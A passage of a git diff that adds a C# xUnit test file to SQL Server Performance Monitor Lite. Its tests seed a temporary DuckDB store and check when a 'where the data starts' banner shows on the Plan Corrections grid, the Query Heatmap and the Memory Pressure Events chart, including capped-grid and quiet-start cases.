+            @"private async System\.Threading\.Tasks\.Task RefreshWindowTruncatedBannerAsync\([^)]*\)\s*\{\s*var floor = await ProbeWindowFloorOrNullAsync\(\s*\(\) => Task\.Run\(\(\) => _dataService\.GetQueryWindowFloorAsync\(relation, _serverId, startUtc, endUtc, includeAlsoCovered: includeAlsoCovered, cancellationToken: ct\)\),\s*\$""[^""]*"",\s*startUtc,\s*endUtc,\s*ct\);\s*ApplyWindowFloorToBanner\(banner, EarlierOfFloorAndRowShown\(floor, earliestRowShownUtc\), startUtc, GetPickerZone\(\)\);"));
+    }
+
+    private static string ControlsFile(string name) =>
+        Path.GetFullPath(Path.Combine(ControlsDir(), name));
+
+    private static string ControlsDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls"));
+}
diff --git a/Lite.Tests/DataStartBannerQueriesTabTests.cs b/Lite.Tests/DataStartBannerQueriesTabTests.cs
new file mode 100644
index 0000000000..edea012276
--- /dev/null
+++ b/Lite.Tests/DataStartBannerQueriesTabTests.cs
@@ -0,0 +1,1329 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: "where the data starts" on the Queries tab's Plan Corrections grid and Query Heatmap, and the result for
+/// every other surface in the same group that carries no notice. Plan Corrections reads <c>v_plan_correction</c>,
+/// which holds a row only while the engine has a recommendation, so its coverage comes from the
+/// <c>plan_correction</c> collector's runs, like Active Queries and Current Waits. The heatmap reads
+/// <c>v_query_stats</c>, the table behind the Top Queries grid, so it asks the same
+/// <see cref="QueryWindowRelation.QueryStats"/> question. Both go through the ONE probe
+/// (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) and the ONE banner step
+/// (<see cref="ServerTab.ApplyWindowFloorToBanner"/>). A quiet start (the store covered the range, its first row comes
+/// late) shows no banner.
+/// </summary>
+[Collection("server-time-helper")]
+[Trait("Cost", "Slow")]
+public sealed class DataStartBannerQueriesTabTests : IDisposable
+{
+    private const int ServerId = 4343;
+    private const string ServerName = "QueriesTabServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private long _nextId = 1;
+
+    public DataStartBannerQueriesTabTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "DataStartQueriesTab_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+    }
+
+    /* #5208: the seed helpers share one open transaction (PendingSeedSession) instead of committing every statement.
+       Every read goes through Service(), which commits it first, so the code under test sees the rows it always did. */
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new LocalDataService(_duckDb);
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private async Task SeedPlanCorrectionAsync(DateTime at)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, recommendation_name, recommendation_state, score)
+VALUES ($1, $2, $3, $4, 'Db', 'PR_1', 'Active', 50)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// One query_stats row collected at <paramref name="at"/>. <c>last_execution_time</c> is NOT the collection time:
+    /// it sits <see cref="LastExecutionOffsetDays"/> days earlier, far outside any range these tests ask for, so a
+    /// read or a probe that windows on that column instead of <c>collection_time</c> finds nothing and the test fails
+    /// (#4966: the seeds used to set the two equal, which no wrong-column read could be told apart from).
+    /// </summary>
+    private async Task SeedQueryStatsAsync(DateTime at)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_hash, sql_handle, last_execution_time, delta_execution_count,
+     delta_worker_time, delta_elapsed_time, query_text)
+VALUES ($1, $2, $3, $4, 'Db', '0xAB', '0xH0xAB', $5, 10, 5000, 5000, 'SELECT 1')";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at.AddDays(LastExecutionOffsetDays)) });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private const int LastExecutionOffsetDays = -30;
+
+    /// <summary>The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not anything was stored.</summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>The probe, then the banner step the surface runs on the result: (visible, text).</summary>
+    private async Task<(bool Visible, string Text)> BannerForAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc)
+    {
+        var floor = await Service().GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /// <summary>A range that starts before the oldest stored plan correction, with no run logged before it, gets the banner worded at that row.</summary>
+    [Fact]
+    public async Task PlanCorrections_RangeStartsBeforeTheOldestStoredRow_ShowsTheBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-2);
+        await SeedPlanCorrectionAsync(oldest);
+        await SeedPlanCorrectionAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:"), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A server added 2 days ago whose first recommendation came a day later: a 7-day range starts before its
+    /// coverage, and the banner names where coverage starts (the collector's first run), not the first row.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_ServerAddedTwoDaysAgo_SaysSinceItsFirstCollection_NotItsFirstRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddDays(-2);
+        await SeedLogRunsAsync("plan_correction", added, end, 30);
+        await SeedPlanCorrectionAsync(end.AddDays(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal("Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(added), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss"), text);
+    }
+
+    /// <summary>
+    /// The quiet-start guard: the collector ran for 30 days and the engine's first recommendation in all that time
+    /// came 3 days ago, so a 7-day range is covered whole and nothing is missing. No banner.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_QuietStart_OnAServerCollectedForThirtyDays_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("plan_correction", end.AddDays(-30), end, 360);
+        await SeedPlanCorrectionAsync(end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The same guard with only stored rows to go on: an older row before the range proves it was served whole.</summary>
+    [Fact]
+    public async Task PlanCorrections_QuietStartInsideTheRange_WithAnOlderRowBeforeIt_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedPlanCorrectionAsync(end.AddDays(-27));
+        await SeedPlanCorrectionAsync(end.AddHours(-2));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>A server with no plan correction and no logged run in the range has nothing to say about where its data starts.</summary>
+    [Fact]
+    public async Task PlanCorrections_NoRowAndNoRunInTheRange_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedPlanCorrectionAsync(end.AddDays(-20));
+
+        var (visible, _) = await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>
+    /// The grid, read at its cap (<see cref="LocalDataService.PlanCorrectionGridCap"/>), then the capped-grid banner
+    /// step itself (<see cref="ServerTab.CappedGridBannerAsync{T}"/>, the decision inside the tab's
+    /// <c>RefreshCappedGridBannerAsync</c>): (visible, text, oldest row the grid returned, rows it returned, whether
+    /// the step handed the banner to the probing step). The probing step stands in for the shared
+    /// <c>RefreshWindowTruncatedBannerAsync</c>: it words the banner from the real probe's answer, which is awaited
+    /// BEFORE the STA block, because a continuation after an await runs on another thread and a WPF banner can only be
+    /// written by the thread that made it.
+    /// </summary>
+    private async Task<(bool Visible, string Text, DateTime Oldest, int Rows, bool Probed)> CappedPlanCorrectionBannerAsync(DateTime startUtc, DateTime endUtc)
+    {
+        var service = Service();
+        var rows = await service.GetPlanCorrectionsAsync(ServerId, fromDate: startUtc, toDate: endUtc);
+        var probedFloor = await service.GetQueryWindowFloorAsync(QueryWindowRelation.PlanCorrection, ServerId, startUtc, endUtc);
+        var (visible, text, probed) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            var probeStepRan = false;
+            ServerTab.CappedGridBannerAsync(rows, LocalDataService.PlanCorrectionGridCap, row => row.CollectionTime,
+                oldestRowShown => ServerTab.ApplyCappedWindowFloorToBanner(banner, oldestRowShown, startUtc, TimeZoneInfo.Utc),
+                () =>
+                {
+                    probeStepRan = true;
+                    ServerTab.ApplyWindowFloorToBanner(banner, probedFloor, startUtc, TimeZoneInfo.Utc);
+                    return Task.CompletedTask;
+                }).GetAwaiter().GetResult();
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, probeStepRan);
+        });
+        return (visible, text, rows.Min(row => row.CollectionTime), rows.Count, probed);
+    }
+
+    /// <summary>
+    /// The capped-grid banner step on rows in memory, at a cap of three, over a range that starts at
+    /// <paramref name="startUtc"/> (2026-06-01 unless given), in UTC.
+    /// The step's two ways out are the banner worded from the oldest row (through the real
+    /// <see cref="ServerTab.ApplyCappedWindowFloorToBanner"/>, which the tab's step hands it) and a probing step that
+    /// records its calls and hands back a task
+    /// of its own, so they can be told apart: (visible, text, probing-step calls, whether the step returned the probing
+    /// step's task).
+    /// </summary>
+    private static (bool Visible, string Text, int ProbeCalls, bool ReturnedProbeTask) CappedGridBannerStep(DateTime[] rows, DateTime? startUtc = null)
+    {
+        var rangeStart = startUtc ?? new DateTime(2026, 6, 1);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            var probeTask = new TaskCompletionSource().Task;
+            var probeCalls = 0;
+            var step = ServerTab.CappedGridBannerAsync(rows, 3, row => row,
+                oldestRowShown => ServerTab.ApplyCappedWindowFloorToBanner(banner, oldestRowShown, rangeStart, TimeZoneInfo.Utc),
+                () =>
+                {
+                    probeCalls++;
+                    return probeTask;
+                });
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, probeCalls, ReferenceEquals(step, probeTask));
+        });
+    }
+
+    /// <summary>
+    /// A read that came back at its cap words the banner from its oldest row, by time and not by position, and does not
+    /// call the probing step: its reach is what the grid shows, whatever the store holds.
+    /// </summary>
+    [Fact]
+    public void CappedGridBannerStep_AReadAtItsCap_WordsTheBannerFromItsOldestRow_AndDoesNotProbe()
+    {
+        var (visible, text, probeCalls, returnedProbeTask) = CappedGridBannerStep(
+            new[] { new DateTime(2026, 6, 5), new DateTime(2026, 6, 3), new DateTime(2026, 6, 9) });
+
+        Assert.True(visible);
+        Assert.Equal(Since(new DateTime(2026, 6, 3)), text);
+        Assert.Equal(0, probeCalls);
+        Assert.False(returnedProbeTask);
+    }
+
+    /// <summary>
+    /// A read under its cap holds everything the store has in the range: the step hands the banner to the probing step,
+    /// returns its task, and words nothing itself.
+    /// </summary>
+    [Fact]
+    public void CappedGridBannerStep_AReadUnderItsCap_FallsThroughToTheProbingStep()
+    {
+        var (_, text, probeCalls, returnedProbeTask) = CappedGridBannerStep(
+            new[] { new DateTime(2026, 6, 5), new DateTime(2026, 6, 3) });
+
+        Assert.Equal(1, probeCalls);
+        Assert.True(returnedProbeTask);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// The tab's <c>RefreshCappedGridBannerAsync</c> is the thin step a test cannot run without building the
+    /// UserControl: it hands the decision (<see cref="ServerTab.CappedGridBannerAsync{T}"/>, run by the tests above and
+    /// by the Plan Corrections tests) the banner worded in the tab's picker zone and the shared probing step over its own
+    /// relation, banner and window. Pinned, as <c>RefreshWindowTruncatedBannerAsync</c>'s own body is, so a step that
+    /// drops either fails here.
+    /// </summary>
+    [Fact]
+    public void RefreshCappedGridBannerAsync_HandsTheDecisionThePickerZone_AndTheSharedProbingStep()
+    {
+        Assert.Matches(
+            @"private System\.Threading\.Tasks\.Task RefreshCappedGridBannerAsync<T>\(\s*QueryWindowRelation relation, TextBlock banner, DateTime startUtc, DateTime endUtc,\s*IReadOnlyCollection<T> rows, int rowCap, Func<T, DateTime> rowTimeUtc, DateTime\? cappedSourceOldestUtc = null, CancellationToken ct = default\) =>\s*CappedGridBannerAsync\(rows, rowCap, rowTimeUtc,\s*oldestRowShown => ApplyCappedWindowFloorToBanner\(banner, oldestRowShown, startUtc, GetPickerZone\(\)\),\s*\(\) => RefreshWindowTruncatedBannerAsync\(relation, banner, startUtc, endUtc, EarliestRowShown\(rows, rowTimeUtc\), ct: ct\),\s*cappedSourceOldestUtc\);",
+            CodeOf("ServerTab.Refresh.cs"));
+    }
+
+    private static string Since(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(instant), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    /// <summary>
+    /// A server added 48 hours ago, one recommendation row every 5 minutes, a 7-day range. The grid reads the newest
+    /// 200 rows, which reach back about 16.6 hours, and the banner said 48 hours (where the store starts). It says
+    /// where the GRID starts: the oldest row it returned.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_ServerAddedTwoDaysAgo_WhoseGridHitsItsCap_SaysSinceTheOldestRowTheGridShows()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddHours(-48);
+        await SeedLogRunsAsync("plan_correction", added, end, 5);
+        await SeedPlanCorrectionEveryAsync(added, end, 5);
+
+        var (visible, text, oldest, rows, probed) = await CappedPlanCorrectionBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(LocalDataService.PlanCorrectionGridCap, rows);
+        Assert.InRange((end - oldest).TotalHours, 16, 17);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.NotEqual(Since(added), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>
+    /// The store covers the whole range (a row 20 days back, collector runs for 30 days), so the probe alone shows
+    /// nothing; the grid still reads only the newest 200 rows. The banner shows even though the store covers the
+    /// range, because the grid does not.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_StoreCoversTheRange_ButTheGridHitsItsCap_StillSaysWhereTheGridStarts()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("plan_correction", end.AddDays(-30), end, 360);
+        await SeedPlanCorrectionAsync(end.AddDays(-20));
+        await SeedPlanCorrectionEveryAsync(end.AddDays(-3), end, 5);
+
+        Assert.False((await BannerForAsync(QueryWindowRelation.PlanCorrection, end.AddDays(-7), end)).Visible);
+
+        var (visible, text, oldest, rows, probed) = await CappedPlanCorrectionBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(LocalDataService.PlanCorrectionGridCap, rows);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>A read that came back under its cap holds everything the store has in the range, so the store's own floor is the answer, as before.</summary>
+    [Fact]
+    public async Task PlanCorrections_GridUnderItsCap_KeepsTheStoreFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddHours(-48);
+        await SeedLogRunsAsync("plan_correction", added, end, 5);
+        await SeedPlanCorrectionEveryAsync(end.AddMinutes(-5 * 149), end, 5);
+
+        var (visible, text, _, rows, probed) = await CappedPlanCorrectionBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(150, rows);
+        Assert.True(probed);
+        Assert.True(visible);
+        Assert.Equal(Since(added), text);
+    }
+
+    /// <summary>
+    /// The one decision every capped grid's banner path takes: a read that returned as many rows as its cap is cut
+    /// short, so its reach is its oldest row, whatever the probe found. Oldest by time, not by position.
+    /// </summary>
+    [Fact]
+    public void CapAwareWindowFloor_ACappedRead_IsTheOldestRowReturned_NotTheProbedFloor()
+    {
+        var probed = new DateTime(2026, 6, 1, 0, 0, 0);
+        var rows = new[] { new DateTime(2026, 6, 5), new DateTime(2026, 6, 3), new DateTime(2026, 6, 9) };
+
+        Assert.Equal(new DateTime(2026, 6, 3), ServerTab.CapAwareWindowFloor(probed, rows, 3, row => row));
+        Assert.Equal(new DateTime(2026, 6, 3), ServerTab.CapAwareWindowFloor(probed, rows, 2, row => row));
+        Assert.Equal(new DateTime(2026, 6, 3), ServerTab.CapAwareWindowFloor(null, rows, 3, row => row));
+    }
+
+    /// <summary>Below its cap, or with no cap, a read is not cut short: the probed floor stands, null included.</summary>
+    [Fact]
+    public void CapAwareWindowFloor_ABelowCapRead_KeepsTheProbedFloor()
+    {
+        var probed = new DateTime(2026, 6, 1, 0, 0, 0);
+        var rows = new[] { new DateTime(2026, 6, 5), new DateTime(2026, 6, 3) };
+
+        Assert.Equal(probed, ServerTab.CapAwareWindowFloor(probed, rows, 3, row => row));
+        Assert.Equal(probed, ServerTab.CapAwareWindowFloor(probed, rows, 0, row => row));
+        Assert.Null(ServerTab.CapAwareWindowFloor(null, rows, 3, row => row));
+        Assert.Equal(probed, ServerTab.CapAwareWindowFloor(probed, Array.Empty<DateTime>(), 3, row => row));
+    }
+
+    /// <summary>
+    /// #4966: the 90-minute slack belongs to the coverage probe, not to a capped read. A grid that filled its row cap
+    /// dropped rows for certain, so on a range of ONE HOUR whose oldest row shown sits 10, 30 or 59 minutes after the
+    /// range's start the banner shows, worded at that row, and the probe is not asked. Under the slack it never showed.
+    /// </summary>
+    [Theory]
+    [InlineData(10)]
+    [InlineData(30)]
+    [InlineData(59)]
+    public void CappedGridBannerStep_AOneHourRange_ShowsItsBanner_WhenTheOldestRowShownIsLaterThanTheStart(int minutesAfterStart)
+    {
+        var start = new DateTime(2026, 6, 1, 10, 0, 0);
+        var oldest = start.AddMinutes(minutesAfterStart);
+
+        var (visible, text, probeCalls, returnedProbeTask) = CappedGridBannerStep(
+            new[] { oldest.AddMinutes(0.5), oldest, oldest.AddMinutes(0.25) }, start);
+
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.Equal(0, probeCalls);
+        Assert.False(returnedProbeTask);
+    }
+
+    /// <summary>
+    /// A capped read whose oldest row shown is at the range's start or before it reached the start, so it shows no
+    /// banner, on a range of an hour as on any other.
+    /// </summary>
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-1)]
+    [InlineData(-2880)]
+    public void CappedGridBannerStep_AnOldestRowShownAtOrBeforeTheStart_ShowsNoBanner(int minutesAfterStart)
+    {
+        var start = new DateTime(2026, 6, 1, 10, 0, 0);
+        var oldest = start.AddMinutes(minutesAfterStart);
+
+        var (visible, text, probeCalls, returnedProbeTask) = CappedGridBannerStep(
+            new[] { oldest.AddMinutes(0.5), oldest, oldest.AddMinutes(0.25) }, start);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+        Assert.Equal(0, probeCalls);
+        Assert.False(returnedProbeTask);
+    }
+
+    /// <summary>
+    /// #4966: the same on the real read. A server whose plan corrections arrive every 10 seconds fills the grid's
+    /// 200-row cap in about 33 minutes, so the grid of a one-hour range starts about 27 minutes after the range does:
+    /// the banner shows, worded at the oldest row the grid returned, and the probe is not asked.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_AOneHourRange_WhoseGridHitsItsCap_ShowsTheBannerAtItsOldestRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedPlanCorrectionEverySecondsAsync(end.AddMinutes(-40), end, 10);
+
+        var (visible, text, oldest, rows, probed) = await CappedPlanCorrectionBannerAsync(end.AddHours(-1), end);
+
+        Assert.Equal(LocalDataService.PlanCorrectionGridCap, rows);
+        Assert.InRange((end - oldest).TotalMinutes, 32, 34);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>
+    /// #4966: a range no longer than the 90-minute slack can never get the Query Heatmap's notice, so the column start
+    /// does not probe for it: the columns start at the range start and the probe is not called.
+    /// </summary>
+    [Theory]
+    [InlineData(0)]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task QueryHeatmap_ARangeNoLongerThanTheSlack_MakesNoProbeCall_AndStartsAtTheRangeStart(int rangeMinutes)
+    {
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        var probeCalls = 0;
+
+        var columnsStart = await LocalDataService.HeatmapColumnsStartAsync(
+            () =>
+            {
+                probeCalls++;
+                return Task.FromResult<DateTime?>(start.AddMinutes(rangeMinutes));
+            },
+            start, start.AddMinutes(rangeMinutes));
+
+        Assert.Equal(0, probeCalls);
+        Assert.Equal(start, columnsStart);
+    }
+
+    /// <summary>
+    /// A range longer than the slack still asks the probe, once, and trims the columns to the data start only when the
+    /// start is later than the slack: a first row 3 hours in is where the data starts, one 30 minutes in is a quiet
+    /// start, and a range with no row at all keeps the range start.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_ARangeLongerThanTheSlack_ProbesOnce_AndTrimsOnlyPastTheSlack()
+    {
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddHours(6);
+
+        foreach (var (floor, expected) in new (DateTime?, DateTime)[]
+                 { (start.AddHours(3), start.AddHours(3)), (start.AddMinutes(30), start), (null, start) })
+        {
+            var probeCalls = 0;
+            var columnsStart = await LocalDataService.HeatmapColumnsStartAsync(
+                () =>
+                {
+                    probeCalls++;
+                    return Task.FromResult(floor);
+                },
+                start, end);
+
+            Assert.Equal(1, probeCalls);
+            Assert.Equal(expected, columnsStart);
+        }
+    }
+
+    /// <summary>
+    /// The read of a one-hour range, end to end: the columns run from the range start to its end (13 five-minute
+    /// buckets), however late in the hour the first row comes, with no probe to say otherwise.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_AOneHourRange_DrawsItsColumnsFromTheRangeStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddHours(1);
+        await SeedQueryStatsAsync(start.AddMinutes(32));
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        Assert.Equal(13, result.TimeBuckets.Length);
+        Assert.Equal(start, result.TimeBuckets[0]);
+        Assert.Equal(end, result.TimeBuckets[^1]);
+        Assert.Equal(1d, result.Intensities[0, 6]);
+    }
+
+    /// <summary>A recommendation re-captured every <paramref name="everyMinutes"/> minutes, from <paramref name="firstUtc"/> to <paramref name="lastUtc"/>.</summary>
+    private Task SeedPlanCorrectionEveryAsync(DateTime firstUtc, DateTime lastUtc, int everyMinutes) =>
+        SeedPlanCorrectionEverySecondsAsync(firstUtc, lastUtc, everyMinutes * 60);
+
+    /// <summary>A recommendation re-captured every <paramref name="everySeconds"/> seconds, from <paramref name="firstUtc"/> to <paramref name="lastUtc"/>: enough rows for a one-hour range to fill the grid's cap.</summary>
+    private async Task SeedPlanCorrectionEverySecondsAsync(DateTime firstUtc, DateTime lastUtc, int everySeconds)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, recommendation_name, recommendation_state, score)
+SELECT $1 + row_number() OVER (), g.t, $2, $3, 'Db', 'PR_1', 'Active', 50
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL {everySeconds} SECOND) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>
+    /// One ring-buffer event sampled at <paramref name="sampleAt"/>. <c>collection_time</c> is three days LATER (the
+    /// first collection of a server added after the event, or any collector lag), so a probe that reads
+    /// <c>collection_time</c> instead of <c>sample_time</c>, the column the chart windows on, sees the event outside
+    /// the range and fails the test.
+    /// </summary>
+    private async Task SeedMemoryPressureEventAsync(DateTime sampleAt)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO memory_pressure_events (collection_id, collection_time, server_id, server_name, sample_time, memory_notification, memory_indicators_process, memory_indicators_system)
+VALUES ($1, $2, $3, $4, $5, 'RESOURCE_MEMPHYSICAL_LOW', 1, 0)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(sampleAt.AddDays(3)) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(sampleAt) });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// Memory Pressure Events draws bars only where pressure was recorded, so a span with no data looked like a span
+    /// with no pressure. A range that starts before the oldest stored event gets the banner, worded at that event's
+    /// SAMPLE time (the column the chart filters on), not the later time it was collected.
+    /// </summary>
+    [Fact]
+    public async Task MemoryPressureEvents_RangeStartsBeforeTheOldestStoredEvent_ShowsTheBanner_AtItsSampleTime()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-2);
+        await SeedMemoryPressureEventAsync(oldest);
+        await SeedMemoryPressureEventAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.MemoryPressureEvents, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+    }
+
